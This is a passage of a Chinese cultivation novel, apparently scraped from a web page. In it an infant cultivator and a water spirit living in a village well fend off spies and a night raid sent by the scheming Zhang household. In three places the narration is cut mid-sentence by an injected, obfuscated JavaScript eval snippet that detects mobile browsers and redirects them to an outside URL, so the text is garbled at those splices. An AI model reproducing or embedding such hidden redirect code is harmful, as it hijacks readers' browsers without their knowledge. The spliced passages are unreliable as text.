这是村里的土方。林大山立刻提了桶去井边,打了满满一桶水回来。王氏用井水浸湿布巾,给林素衣擦身。 井水触肤的瞬间,林素衣感觉到一股清凉的灵气渗入体内——不是她主动吸收,而是井中生灵在主动“输送”。那灵气温和纯净,迅速平复了她伪装出的燥热。 她的体温真的降了下来。 “真灵验!”林大山大喜,“我再去打些,放屋里凉着。” 这一次,林素衣“适时”停止了哭闹,伸出小手抓住父亲的衣角,眼神渴望地望向门外。 “丫头想出去?”林大山试探着问。 林素衣用力点头。 王氏犹豫:“外头太阳大……” “井边树荫凉快,我带她去透透气。”林大山抱起女儿,“总在屋里闷着也不好。” 就这样,林素衣第一次在“合法”情况下被带到了古井边。 井台由青石砌成,边缘被岁月磨得光滑。井口直径约三尺,垂下粗麻绳拴着的木桶。井边有棵老柳树,垂下丝丝缕缕的枝条,在石台上投下斑驳光影。 林大山将女儿放在树荫下的石台上,自己打水。林素衣则全力展开感知,深入井中。 这一次,一切清晰无比。 井深约五丈,井壁长满青苔。井水清澈,水面倒映着圆形的天空。水下三尺处,井壁上那道裂缝清晰可见——长约两尺,最宽处约一指,从中透出柔和的蓝色光晕。 井中生灵就在裂缝旁。它已经初步成形,像一团流动的透明水体,核心处有一点莹白的光。感应到林素衣的到来,它欢快地游动起来,在水中划出涟漪。 林素衣尝试与它深度交流。她传递出“探查裂缝”的意念,并附上“安全”“小心”的情绪。井中生灵犹豫片刻,缓缓靠近裂缝。 透过它的“眼睛”,林素衣看到了裂缝内部的景象: 裂缝深处并非岩石,而是一片奇异的晶状结构。那些晶体呈淡蓝色,半透明,按照某种规律排列,形成一个未完成的阵法基座。阵法中心,悬浮着一颗米粒大小的珠子,正缓缓旋转,散发出纯净的水属性灵气。 “古阵法残迹……还有阵眼灵珠?”林素衣心中震动。这口井果然不简单! 井中生灵继续深入。裂缝内空间比外面看起来大,纵深约有三尺。阵法基座覆盖了整个内壁,虽然残缺不全,但核心结构完整。那颗灵珠似乎有灵性,感应到生灵靠近,光芒微微增强。 突然,灵珠射出一缕蓝光,没入井中生灵体内。 生灵剧烈颤抖起来。林素衣心中一紧,以为它要受伤,却发现那蓝光是在“传递信息”——无数符文、图像、意念碎片涌入生灵的意识,那是阵法残存的知识传承! 过程持续了约十息。结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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三个月后,林素衣满周岁了。 抓周礼上,林家在堂屋摆了满满一桌物件:算盘、毛笔、铜钱、针线、小木剑、印章……林大山甚至把猎弓也放了上去。 王氏将女儿抱到桌前。林素衣目光扫过,心中已有计较。她缓缓爬向角落——那里有林奶奶放的一本旧黄历,书页泛黄,边角磨损。 在众人注视下,她抓住了那本黄历。 “哟,抓了书!将来是个读书人!”有人笑道。 林大山挠头:“女孩子读书也好,明事理。” 只有林素衣自己知道为何选它:书册的形状让她想起了前世的典籍,那些记录着知识与真理的载体。这一世,她同样要追寻大道真知。 抓周礼后不久,张府又派人来了。 这次来的是个管家模样的中年男子,带了一盒糕点作为周岁礼。他逗了逗林素衣,状似随意地问了些问题:孩子平时爱哭闹吗?睡得可好?可有什么特别喜好? 王氏一一回答,多是“孩子很乖”“没什么特别”。 管家最后看了看林素衣颈间的玉佩,点头道:“玉佩戴着就好,能保平安。” 他离开后,林素衣心中警铃大作。张府的关注没有减少,反而更加细致。他们到底在怀疑什么?是因为古井的变化,还是她身上有什么自己都未察觉的异常? 夜深人静时,她内视自身,仔细检查。先天之气稳定增长,已从最初的一缕扩展到遍布主要经脉。灵气吸收效率是初生时的三倍。身体发育比同龄孩子快三成,但还在合理范围内。 “到底是哪里引起了注意?”她沉思着。 窗外月光如水。井中生灵传来问候的波动,伴随着一丝兴奋——阵法修复有了初步进展,灵珠的光芒比三个月前亮了十分之一。 林素衣回应了问候,却提醒它:放慢进度,安全第一。 她有种预感,平静的日子不会太久了。 而她的修真之路,在正式踏出第一步之前,就已经布满了迷雾与荆棘。 5. 暗涌初现 林素衣一岁三个月时,已能摇摇晃晃地走路了。 这进度在村里算快的,但不过分引人注目——总有孩子发育早些。只有她自己知道,每一步踏出,足底涌泉穴都会自发吸收地脉中微弱的土灵气,经先天之气转化后滋养筋骨。这不是她刻意为之,而是身体在灵气长期浸润下形成的本能。 走得稳了,活动范围便扩大了。林素衣常“无意”走到院门边,小手扒着栅栏往外看。王氏只当孩子好奇,偶尔会抱她到院外树下乘凉。借这些机会,林素衣的感知场能更频繁地覆盖古井方向。 井中生灵的成长速度远超预期。在灵珠传承和每晚子时的灵气滋养下,它已从一团混沌意识凝聚出了初步的“形态核心”——那点莹白光芒现在有黄豆大小,周围环绕着淡蓝色的水灵气旋涡。更惊喜的是,它开始能理解更复杂的概念,并通过意识传递简单的图像和情绪。 这夜子时,林素衣照常“连接”井中生灵。 生灵传来兴奋的波动,同时展示了一幅画面:裂缝深处,那颗灵珠表面浮现出细密的金色纹路,像是某种封印正在松动。 “封印?”林素衣一怔。之前她只当灵珠是阵眼,未想过还有封印存在。 生灵又传来一组断续的图像:数百年前,一道剑光劈裂山体,余波震坏了井壁阵法;灵珠为自保,启动封印陷入沉眠;直到井中诞生纯水之灵,才重新被唤醒。 林素衣心跳加速。若灵珠真有封印,解封后或许能恢复更多威能。但风险也大——封印解除必然伴随灵气爆发,动静绝不小。 她传递出“谨慎”“缓慢”的意念。生灵回应表示理解,会以最温和的方式温养灵珠,徐徐图之。 交流结束时,生灵突然传来一个警示:井外有人窥探。 林素衣立刻将感知投向井边。月光下,一个模糊的身影蹲在柳树阴影中,正将某种东西探入井口——是面巴掌大的铜镜,镜面朝下。 又是那个青衣修士?不,气息不对。这人身上的灵气更驳杂,修为也更低,大约炼气二层的样子。但他手中的铜镜法器却透着诡异,镜面隐现暗红纹路。 林素衣屏息凝神,将感知缩到极致,只留一丝最微弱的连接观察。 那人将铜镜悬在井口半刻钟,收回后对着月光察看。镜面映出的不是倒影,而是一片氤氲的蓝色光晕,中心有一点白芒。 “果然有东西……”那人低声自语,声音沙哑,“张管事猜得没错,这井不简单。” 张府的人! 林素衣心下一沉。原来张府的关注不止在她身上,还延伸到了古井。是因为井水变化引起了注意,还是他们察觉到了井中生灵的存在? 那人收起铜镜,又在井边蹲守了约一刻钟,这才悄无声息地离开,方向正是镇上。 林素衣立刻将感知投向张家方向——六十里外的镇子,已超出她目前的极限感知范围。但她记住了那股气息特征:火土双灵根,灵气躁动,带着一股阴湿的晦气。 “必须加快准备了。”她意识到,平静的时光即将结束。 次日清晨,林大山照例去井边打水,回来后对王氏说:“井台上有脚印,像是有人夜里去过。” 王氏不以为意:“许是谁家半夜打水吧。” 林素衣坐在摇篮里,小手摆弄着一个布缝的小兔子,耳朵却竖着听父母对话。她知道,那脚印是昨夜那人留下的。张府已经开始行动,且手段比想象中专业——那面铜镜显然是专门探查灵气波动的法器。 午饭后,林素衣开始尝试一项新能力:灵气微操。 过去她吸收灵气都是被动进行,或通过谐振场大范围影响。现在她需要更精细的控制——比如,能否将一缕灵气塑形成特定符文? 她先从最简单的“凝”字诀开始。用意念捕捉空气中的水灵气粒子,引导它们聚集成一个点。过程出乎意料地困难:灵气粒子像调皮的水银,总从意识掌控中溜走。试了三十七次,才勉强聚起米粒大的一团,维持三息就散了。 但这是重要的一步。若能掌握灵气塑形,未来刻画阵法符文就有了基础。 三天后,林素衣已能稳定凝聚灵气团。她开始尝试塑形:先是最简单的直线,然后是曲线,最后是基础的圆形。每一步都耗费大量心神,一岁多的身体支撑不了多久就会疲惫睡去。 王氏只当孩子贪睡,还笑着对林大山说:“小孩子就是睡得多,长得快。” 林大山憨笑:“随你,你小时候也爱睡。” 日子在表面的平静下暗流涌动。张府再没派人来,但林素衣能感觉到,颈间玉佩的监控频率增加了——每日子时、午时各一次规律探查,像钟表般精准。 她将计就计,每日这两个时辰都刻意表现出“正常婴儿”的状态:或沉睡,或玩闹,灵气内敛,毫无异常。其余时间则抓紧修炼。 一岁半时,林素衣终于掌握了第一个完整的基础符文——“水”字初形。这是她从井中生灵分享的阵法知识里挑选的最简单符文,由三道曲线和两个节点构成。 成功那刻,她在体内用灵气勾勒出符文轮廓。符文成形瞬间,自发吸收周围水灵气,效率比单纯吸收快了五成。更妙的是,符文一旦形成就能自行运转,无需持续操控。 “这就是阵法的基础单元……”林素衣若有所悟。若能掌握更多符文,组合成阵,修炼速度将大大提升。 她开始系统学习井中生灵传承中的基础符文库。生灵虽无法理解符文含义,但能完整“记忆”灵珠传递的图像。林素衣则用前世的知识体系分类整理:水系符文三十六个,土系二十八个,木系四十一个……还有些残缺不全、属性不明的。 每晚子时,她学习三个新符文,白天则练习凝聚塑形。进度虽慢,但一步一个脚印。 这期间,古井的变化也越来越明显。 井水品质持续提升,盛夏时节喝一口,清凉直透肺腑,能消一整日的暑气。村里老人说,这井怕是通了地下灵脉,是福兆。甚至有人提议在井边建个小庙,供奉井龙王。 林大山和王氏也常去打水。有次王氏打水回来,对丈夫说:“你觉不觉得,每次靠近那井,心里就特别静?像有什么在安抚似的。” 林素衣知道,那是井中生灵散发的纯净水灵气息,有宁神之效。 但福祸相依。井水名声传开,来打水的外村人越来越多,有时一天能见十几张陌生面孔。林素衣暗中观察,大多数是普通百姓,但也有两个身上带着微弱灵气波动——是刚引气入体的散修,或身怀低劣法器的凡人。 他们没察觉井中奥秘,只是觉得水好。但人多眼杂,总非好事。 林素衣通过井中生灵,开始有意识地控制井水灵气浓度:平日里维持中等水平,只在夜深人静时才完全放开。她还让生灵在井底布置了一层极薄的水灵气“滤网”,能阻挡低阶修士的粗略探查。 这番操作效果显著,井水的“神奇”程度维持在合理范围,没再进一步升级。 然而,该来的终究会来。 林素衣一岁九个月时,张府再次来人。 这次阵仗不同以往:一辆青篷马车停在村口,下来三个人。为首的是个面白无须的中年文士,穿暗青绸衫,手执折扇;左右各跟一个护卫,太阳穴高鼓,目含精光。 村里人纷纷张望。村长闻讯赶来,躬身相迎:“张师爷大驾光临,有失远迎。” 张师爷,张府首席幕僚,也是张老爷最信任的心腹。传说他精通奇门术数,在镇上很有名望。 “不必多礼。”张师爷声音温和,目光却锐利,“听闻贵村古井水质甘醇,有养生之效,特来取些回去给老爷尝尝。” “师爷请随我来。”村长引路。 一行人走向古井。消息传得快,林大山和王氏也抱着孩子出来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980515|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热闹。林素衣趴在父亲肩头,眼睛盯着张师爷——这人身上没有明显灵气波动,但她直觉感到危险。就像平静水面下的暗流,表面无波,内藏汹涌。 到了井边,张师爷没急着打水,而是绕着井台踱步,折扇轻敲掌心。走了三圈后,他停在柳树下,仰头看了看树冠,又低头看了看树根。 “这柳树有年头了吧?”他问。 村长答:“听老人说,建村时就在,少说三百年了。” “三百年……”张师爷若有所思,“树老成精,井老通灵,也是常理。” 他示意护卫打水。水桶提起,清亮的水花在阳光下折射出七彩光晕。张师爷掬了一捧,细细观察,又尝了一口,闭目品味。 半晌,他睁眼,眼中闪过一丝难以察觉的异色:“果然是好水。” 他让护卫取了一大坛,封好装车。临走前,又状似无意地问:“村里可有什么异常?比如孩子特别聪慧,牲畜格外健壮,或草木反常茂盛?” 村长想了想:“要说异常……林家丫头是比一般孩子机灵些,但也算正常。其他就没了。” 张师爷目光转向林大山怀中的女婴。 那一瞬间,林素衣感觉到一股冰冷的探查力扫过全身——不是灵气探查,而是某种更玄奥的“望气术”。她立刻收敛所有气息,先天之气缩成一点,藏在心脏深处。眼神则露出孩童见生人的怯意,把小脸埋进父亲脖颈。 “这孩子看着有福相。”张师爷微笑,“多大了?” “快两岁了。”林大山老实回答。 “好,好。”张师爷没再多问,转身上车,“回府。” 马车远去,围观村民议论纷纷。林大山抱着女儿回家,王氏低声说:“那张师爷看人的眼神,怪不舒服的。” 林素衣心中警铃大作。张师爷绝对发现了什么,只是没当场点破。他的探查手段比之前所有人都高明,自己的伪装能否完全瞒过,尚未可知。 更让她不安的是张师爷离开前的最后一个动作:他上马车时,袖中滑落一物,极快地没入柳树根部的泥土中。那东西气息隐晦,若非林素衣感知敏锐,几乎无法察觉。 当夜子时,她连接井中生灵,让它探查柳树根部。 生灵传回的画面让她心惊:树根深处,埋着一枚指甲盖大小的黑色玉符,符面刻着复杂的符文,正缓慢吸收地脉之气和井中散逸的灵气。 “监视法符……还是双向的。”林素衣认出那符文的用途——既能监控井周围灵气变化,也能作为信标,指引布符者随时定位。 张府的耐心不多了。他们不再满足于远程探查,开始布置更直接的监控手段。 林素衣让生灵尝试移除玉符,但生灵传来畏惧的情绪:玉符散发着危险的气息,强行触碰可能触发警报。 “暂时别动。”她传递意念,“先观察。” 接下来的三天,林素衣密切监控玉符变化。它每六个时辰激活一次,每次持续十息,扫描范围覆盖古井及周边三十丈。这期间,她完全停止一切灵气操作,连呼吸都模仿最自然的婴儿节奏。 第四天夜里,变故突生。 子时刚过,玉符突然异常激活,且持续时间延长到三十息。扫描强度也大增,井中生灵被波及,传来痛苦的波动——它被“看”到了! 虽然只是惊鸿一瞥,但那纯净的水灵本质,绝对引起了布符者的注意。 林素衣当机立断,让生灵立刻沉入井底裂缝,收敛所有气息。同时,她展开谐振场,覆盖井口区域,制造灵气混乱的假象。 玉符又扫描了两次,才恢复平静。 但林素衣知道,已经晚了。 井中生灵的存在,很可能暴露了。 她望向窗外黑暗,月色被乌云遮蔽,天地一片晦暗。 山雨欲来。 而远处镇上张府的方向,书房灯亮了一夜。 6. 夜袭古井 张府书房内的灯,亮到了第三夜。 林素衣通过玉佩信标的异常波动感知到了这点——监视频率从每六个时辰一次,加密到了每两个时辰一次。每次激活时,玉佩都会传来微弱的共鸣震颤,像远方传来的警钟。 “他们在确认,在计划。”林素衣心中雪亮。张师爷那夜的望气术绝非寻常,他定是察觉了井中异常,甚至可能隐约感应到了她的不同。只是证据不足,才布下法符进一步监控。 第四日清晨,村里来了个卖货郎。 这人三十来岁,挑着担子,吆喝着针线杂货。他在村里转悠了大半天,最后在古井旁的柳树下歇脚,取了竹筒打水喝。喝水的功夫,眼睛却不着痕迹地扫过井台、柳树、还有远处林家的院落。 林素衣被王氏抱着在院里晒太阳,感知场却悄然覆盖了井边。卖货郎身上有极淡的灵气残留,像是接触过法器,但本身并非修士。他打水时,手指在井沿某处轻轻一抹——那个位置,正是前夜玉符扫描强度最高的区域。 “探子。”林素衣断定。张府派了人来实地确认。 卖货郎喝完水,挑担走向林家院子。王氏见有货郎来,便抱着女儿上前看货。担子上多是妇女用的针头线脑、小孩的拨浪鼓、彩绳之类。 “大姐看看,新到的货。”卖货郎笑容可掬,拿起一个彩绳编的蝴蝶,“给孩子玩,好看又结实。” 王氏接过看了看,问价钱。卖货郎报了价,眼睛却不时瞟向林素衣,尤其注意她颈间的玉佩。 “这玉佩戴着好看。”他状似无意地说,“镇上张记玉铺的货吧?我认得这做工。” 王氏老实点头:“是张府送的。” “张府仁义。”卖货郎笑着,又拿出个银铃铛,“这个配玉佩更好看,便宜卖您。” 林素衣心中冷笑。这人是在确认玉佩是否还戴着,同时试探林家与张府的关系深浅。她适时地伸手去抓拨浪鼓,一副孩童贪玩模样,避开对方审视的目光。 最终王氏买了根红头绳。卖货郎临走前又说:“井水真好,我走村串巷这么多年,少见这么甜的水。大姐常去打水吧?” “是常去。”王氏随口应道。 卖货郎点点头,挑担离开。走出村子前,他又在井边停了片刻,才消失在小路尽头。 当夜子时,林素衣连接井中生灵,将日间所见告知。生灵传来不安的波动——它也感应到了白天的窥探,那种被“标记”的感觉让它本能地恐惧。 “我们必须准备应对。”林素衣传递意念,“他们会来,可能是明晚,也可能是后晚。” 生灵问该如何做。 林素衣沉思片刻。硬拼绝无胜算,她只是婴儿,生灵虽纯净但攻击力几乎为零。唯一的机会是利用井底阵法,以及她对灵气的理解。 她开始布置。 第一步,让生灵彻底沉入裂缝深处,与灵珠完全融合。这样既能借助灵珠的灵气遮掩自身气息,又能在必要时调动阵法残存的力量。 第二步,她通过生灵的“眼睛”仔细研究井底阵法的残缺结构。蕴灵净水阵共有七十二个基础节点,目前完好的只有九个,其余大多破损或湮灭。但九个节点若能激活,至少能形成一个小型防护结界。 “需要灵气激活节点……”林素衣计算着。她自己无法提供足够灵气,但井中生灵可以。生灵本质是纯净水灵,正是驱动水系阵法的最佳媒介。 她将九个节点的位置、激活顺序、灵气输送量等复杂信息,拆解成最简单的图像和脉动节奏,一点点传授给生灵。这个过程耗费心神,到后半夜时,她已感到意识模糊,但九个节点的激活方法总算传递完毕。 生灵表示理解,会尝试。 次日白天,村里一切如常。林大山上山打猎,王氏在家纺线,林奶奶坐在门口晒太阳。林素衣被放在铺了草席的地上,身边摆着几个布偶玩具。 她看似在玩耍,实则全力内视,巩固昨晚的成果。同时,她开始尝试在体内构建第二个基础符文——“凝”字符。这是从阵法知识中挑选的辅助符文,能增强灵气凝聚效率。 构建过程比第一个符文困难许多。“凝”字符由五个节点和七道灵线组成,结构复杂,稍有不慎就会溃散。林素衣失败了十三次,每次溃散都会损失少量灵气,让她感到疲惫。 第十四次,她改变了策略。不再试图一气呵成,而是先稳固五个节点,再逐一连接灵线。节点如星辰定点,灵线如丝缕牵引。当最后一根灵线连通时,整个符文骤然亮起,在她丹田位置形成一个微小的灵气漩涡。 成功了! 漩涡缓缓旋转,吸收灵气的效率比单纯打坐快了近一倍。更妙的是,“水”字符与“凝”字符产生共鸣,两者间自然形成了一道灵气循环,一吸一纳,自成体系。 “这就是最基础的阵法组合……”林素衣若有所悟。单个符文功效有限,组合起来却能产生质变。若能掌握更多符文,构建更复杂的阵列,修炼速度将不可同日而语。 但她没时间继续试验了。 傍晚时分,天色阴沉,乌云低垂。林大山打猎回来,带回两只野兔,说山里动物都焦躁不安,像是要变天。 王氏抬头看天:“是要下大雨了。” 林素衣却知道,那不是雨云。在她感知中,乌云深处藏着三股灵气波动——两个炼气三层左右,一个炼气五层,正从镇上方向快速接近。 来了。 她立刻通过微弱的意识连接通知井中生灵:准备激活阵法节点。 生灵回应:已准备好七个节点,最后两个尚不稳定。 “七个也够了。”林素衣传递意念,“按计划进行。” 夜幕降临,果然下起了雨。起初是细雨,随后越来越大,砸在屋顶瓦片上噼啪作响。狂风呼啸,吹得院门吱呀作响。 林家人早早睡下。林素衣躺在父母中间的摇篮里,眼睛睁着,感知全力展开。 子时三刻,三道人影悄无声息地出现在村口。 他们都穿着黑色夜行衣,脸上蒙着布巾,只露出眼睛。为首者正是那炼气五层的修士,身形瘦高,背着一柄长剑。另外两人一左一右跟在后面,手中各持法器——一个拿着铜镜,正是前几夜探查那人;另一个提着个布袋,袋口用红绳扎紧。 三人径直走向古井。 雨幕成了最好的掩护,脚步声被雨声淹没,身形被夜色隐藏。但他们身上的灵气波动在林素衣感知中如黑夜明灯,清晰可辨。 到了井边,炼气五层修士打了个手势。持铜镜者立刻将镜子悬于井口,镜面朝下,口中念念有词。镜面泛起暗红光芒,照向井中。 “果然有东西。”持镜者低声道,“灵气浓度是外界的十倍不止,井底有活物气息。” 炼气五层修士点头,对提布袋者说:“布‘困灵网’。” 提布袋者解开红绳,从袋中掏出一张银色丝网。网上缀满细小铃铛,但此刻铃铛无声。他将丝网张开,足有井口大小,缓缓放入井中。 银网入水即化,消失不见。但林素衣能感知到,它化作无数银色丝线,在井水中扩散,形成一张立体大网,正向井底裂缝笼罩而去。 井中生灵传来惊恐的波动。 “就是现在!”林素衣意念疾传。 井底,七个阵法节点同时亮起蓝光。 这些节点分布在裂缝周围,构成一个不完整的七星阵列。蓝光亮起的瞬间,井水骤然旋转起来,形成一个漩涡。漩涡产生巨大的吸力,将银色丝线搅乱、拉扯,困灵网的阵型被打乱。 “有阵法!”持镜者惊呼,“井底有阵法守护!” 炼气五层修士脸色一沉:“强行破阵!那东西必须拿到手!” 他拔出背后长剑,剑身泛起土黄色光芒——是土属性修士。他凌空一斩,一道剑气劈入井中,直冲裂缝。 井中生灵操控阵法,七个节点光芒大盛,在裂缝前凝聚出一面水蓝色光盾。剑气斩在光盾上,轰然巨响,光盾剧烈晃动,出现裂痕,但未破碎。 “区区残阵!”炼气五层修士冷哼一声,再斩一剑。 这一剑威力更大,光盾彻底破碎,七个节点中有三个瞬间黯淡。井中生灵传来痛苦的波动——阵法反噬伤及了它的本源。 林素衣心急如焚。七个节点挡不住炼气五层修士的全力攻击,必须激活最后两个节点! 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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井水开始沸腾——不是热的沸腾,而是灵气的沸腾。水面上升起氤氲的蓝色雾气,雾气中隐现细小符文流转。 “灵珠解封了!”炼气五层修士又惊又喜,“这是古修士遗留的宝物!快,趁阵法未稳,取珠!” 他亲自跃入井中。 持镜者和提布袋者在井口紧张守候。 井下,炼气五层修士已潜至裂缝前。灵珠就在眼前,散发着诱人的光芒。他伸手抓去—— 就在指尖触及灵珠的刹那,九个节点同时爆发出刺目蓝光。整个井底阵法逆转运行,从“蕴灵”转为“净灭”。 净化一切入侵者。 蓝色光芒如潮水般冲刷过修士的身体。他感到护体灵气如薄纸般被撕碎,全身经脉如被冰针刺穿。惨叫被井水淹没,他拼命向上游去。 井口两人见情况不对,正要施救,却听井中传来一声闷响。 水面炸开,炼气五层修士被抛了出来,重重摔在井台上。他浑身湿透,脸色惨白如纸,嘴角溢血,手中空空如也——没拿到灵珠。 “走……快走……”他嘶声道,“阵法有灵智……在守护……” 三人搀扶着,狼狈消失在雨夜中。 井底,灵珠缓缓收敛光芒。九个节点逐一黯淡,阵法恢复平静。井中生灵传来虚弱的波动——它耗尽了力量,陷入沉眠。 林素衣也感到前所未有的疲惫。超频驱动玉佩耗尽了她所有心神,此刻意识模糊,几近昏厥。 但危机还没结束。 她强撑着最后一丝清明,感知到玉佩内部——安神阵因超载已损坏大半,信标阵却依然完好。而且,就在刚才的灵气爆发中,信标阵自动记录下了异常波动数据,此刻正通过某种隐秘渠道向外传输。 数据传向了六十里外的张府。 书房里,张师爷看着手中震颤的罗盘,脸上露出复杂的表情。 罗盘指针疯狂旋转后,指向两个方位:一是古井方向,灵珠解封的剧烈波动;二是……林家院落方向,那一闪而逝的异常灵气牵引。 “果然。”他喃喃道,“井中有宝,而那孩子……” 他起身,走向张老爷居住的内院。 雨更大了,雷声滚滚。 林素衣在昏睡前的最后一刻,只来得及向井中生灵传递一个意念: “藏好……他们还会回来……” 然后,黑暗吞没了意识。 而井底裂缝深处,灵珠的光芒完全收敛,表面浮现出第二层封印——比第一层复杂十倍的古老符文,正缓缓流转。 解封,才刚刚开始。 7. 病婴藏锋 林素衣醒来时,已是第三日午后。 阳光透过窗纸洒在脸上,暖洋洋的。她躺在摇篮里,身上盖着薄被。王氏正坐在床边做针线,见她睁眼,立刻放下活计,俯身摸了摸她的额头。 “可算醒了……”王氏眼眶微红,“烧了整整两天,吓死娘了。” 林素衣想开口说话,却只发出沙哑的咿呀声。喉咙干得像要裂开,全身酸软无力,连抬手的力气都没有。她立刻内视自身,发现情况比预想的更糟:经脉中灵气近乎枯竭,先天之气黯淡无光,“水”“凝”二符运转滞涩,像是生锈的齿轮。 过度消耗的后遗症。 更麻烦的是玉佩。她勉力探入一丝感知,发现安神阵已完全损毁,结构崩散,只剩一堆紊乱的符文碎片。信标阵却完好无损,甚至因为安神阵的崩溃而更加凸显——此刻它正持续散发着稳定的波动,将她的位置和身体状况实时传输出去。 “坏了。”林素衣心中发凉。之前她还能用谐振场屏蔽信号,现在玉佩结构失衡,屏蔽手段失效了。张府那边,此刻应该正通过信标阵监控着她的一切生命体征。 必须尽快修复,或至少干扰。 但她现在连坐起来的力气都没有,更别说精细操作。只能先养好身体,再图后计。 王氏端来温水,用小勺一点点喂她。水是温热的,带着淡淡的草药味。林素衣小口吞咽,能感觉到水中有微弱的灵气——是古井水。看来在她昏迷期间,家人一直用井水给她降温。 井中生灵怎么样了? 她尝试连接,意识那头却只有一片沉寂。没有回应,没有波动,像断线的风筝。是沉眠太深,还是……林素衣不敢往下想。那夜生灵为了驱动阵法耗尽本源,若灵珠未能及时反哺,很可能就此消散。 “得去看看井的情况。”她想着,却连转动脖子都费劲。 接下来的三天,林素衣老老实实当个病婴。吃饭、喝水、睡觉,偶尔被抱着在院里走走。她刻意放慢所有动作,眼神也显得比平时呆滞些——这是伪装的一部分。既然张府可能通过信标监控,她就必须表现得像个大病初愈的普通孩子。 林大山和王氏心疼不已,变着法给她补身体。林大山打了只野鸡熬汤,王氏去镇上买了红糖、红枣,连林奶奶都把珍藏的干桂圆拿出来。 第四天,林素衣终于能自己坐起来了。她做的第一件事是尝试修复体内的灵气循环。 丹田处,“水”“凝”二符还在勉强运转,但效率不足平时的三成。她引导着稀薄的灵气,缓慢冲刷经脉。先天之气像一颗快要熄灭的火种,随着灵气滋养,终于重新泛起微光。 修复过程极其缓慢。每运行一个小周天,她都会累出一身虚汗。但效果是有的:到第七天时,她已能下地行走,虽然脚步虚浮。 这天下午,王氏抱着她去井边打水,说是“透透气”。 井台周围一切如常。柳树在春风中抽着新芽,青石井沿被磨得光滑。但林素衣能感知到不同:井中灵气浓度下降了三成,水灵气息也变得稀薄。更重要的是,井底裂缝处,那团熟悉的意识波动消失了,只剩下灵珠孤独地悬浮着,散发着稳定的蓝光。 “生灵……”林素衣心中一痛。果然,它沉眠得太深,甚至可能已经…… 她让王氏将自己放在井台边的石墩上,小手扶着井沿,探头往下看。水面平静,映出她苍白的小脸。她将一丝最微弱的意念投入井中,呼唤生灵。 没有回应。 但就在她准备放弃时,灵珠突然亮了一下。 紧接着,一道极其微弱的波动从裂缝深处传来——不是生灵原本的意识,而是一段残留的“记忆碎片”。像风中的余烬,随时会散。 林素衣捕捉到了那些碎片: 画面一:灵珠解封第一层后,主动向生灵注入大量灵气,助它稳固形态。 画面二:生灵因驱动阵法耗尽本源,即将溃散时,灵珠启动自我保护机制,将其意识核心封印在珠内第二层空间。 画面三:灵珠的第二层封印需要“纯净水灵”和“先天木气”共同温养三年,才能完全解开。届时,生灵将在灵珠内完成蜕变重生。 “它还活着……”林素衣松了口气。虽然要等三年,但总比彻底消散好。而且灵珠主动保护生灵,说明它已认可这个“伴生灵”。 新的问题是“先天木气”。她自己是水土木三灵根,木灵根虽然较弱,但确实有。可要提供足够的木属性灵气温养灵珠,至少需要炼气期修为。她现在连引气入体都算不上,只是靠先天之气本能吸收灵气。 “必须加快修炼了。”林素衣下定决心。但在这之前,得先解决玉佩的问题。 当晚,她开始尝试修复安神阵。 玉佩内部的结构已一团糟。原本规整的符文阵列现在支离破碎,灵气流转处处堵塞。修复的难度不亚于重建。林素衣没有足够灵气直接重刻符文,只能取巧——用“引导自愈”的方式。 她找到安神阵的核心节点,注入一丝极其微弱的先天之气。这缕气息像引线,顺着残存的阵法脉络流动,所过之处,紊乱的符文碎片被重新“梳理”,慢慢回归原位。 过程如履薄冰。先天之气太珍贵,她不敢多用,只能一点点引导。同时还要分心维持身体外表的“病弱”状态,避免被张府察觉异常。 五个夜晚后,安神阵勉强恢复了三成功能。虽然效果大不如前,但至少能正常运转,不至于彻底崩溃。更重要的是,安神阵的修复“挤占”了信标阵的部分灵气通道,导致信标阵的传输效率下降了约四成。 这是个好消息。传输效率下降意味着张府接收到的数据会变得模糊、断续,难以准确判断她的状况。 果然,第七天夜里,玉佩传来一次异常强烈的探查波动——张府那边在“校准”信号。林素衣立刻停止一切操作,进入深度伪装状态:心跳放缓,呼吸变浅,灵气完全内敛。 波动持续了约一刻钟,才渐渐平息。 “他们起疑了。”林素衣断定。但疑心归疑心,没有确凿证据前,张府应该不会轻举妄动。毕竟那夜井边吃了大亏,炼气五层修士重伤,短时间内应该不敢再硬来。 但这不代表安全。 翌日清晨,村里来了个游方郎中。 这人五十来岁,背着药箱,摇着铃铛,在村口吆喝:“专治小儿疑难杂症,驱邪避凶,安神定惊——” 有村民上前问诊。郎中给人把脉开方,药材普通,诊金也便宜。半天下来,治好了几个老人的腰腿痛,名声就传开了。 午后,郎中“恰好”走到林家院子外。王氏正在晒被子,见他摇铃过来,便问:“先生能看小儿病吗?我家丫头前些日子发高烧,刚好了些,但总没精神。” 郎中捋须笑道:“正擅长小儿科。夫人若不嫌,容老朽看看?” 王氏忙请他进屋。 林素衣被抱到堂屋,放在椅子上。郎中仔细打量她,又让她伸出小手把脉。手指搭上腕脉的瞬间,林素衣感觉到一股细微的探查力顺经脉而上——不是灵气探查,而是某种医道望气术,专查气血盈亏、脏腑强弱。 她任由对方探查,同时内视监控。郎中的手法很隐蔽,若非她感知敏锐,几乎无法察觉。探查在她心脏位置多停留了一瞬——那里正是先天之气隐藏之处。 “孩子先天不足,心脉有亏。”郎中收回手,面色凝重,“近日是否受过惊吓?或接触过阴邪之物?” 王氏脸色一变:“前些日子是病了一场,但没接触什么……” “病中体虚,易招外邪。”郎中从药箱取出三包药,“这是安神定惊的方子,每日一包,三碗水煎成一碗,连服三日。三日后我再来复诊。” 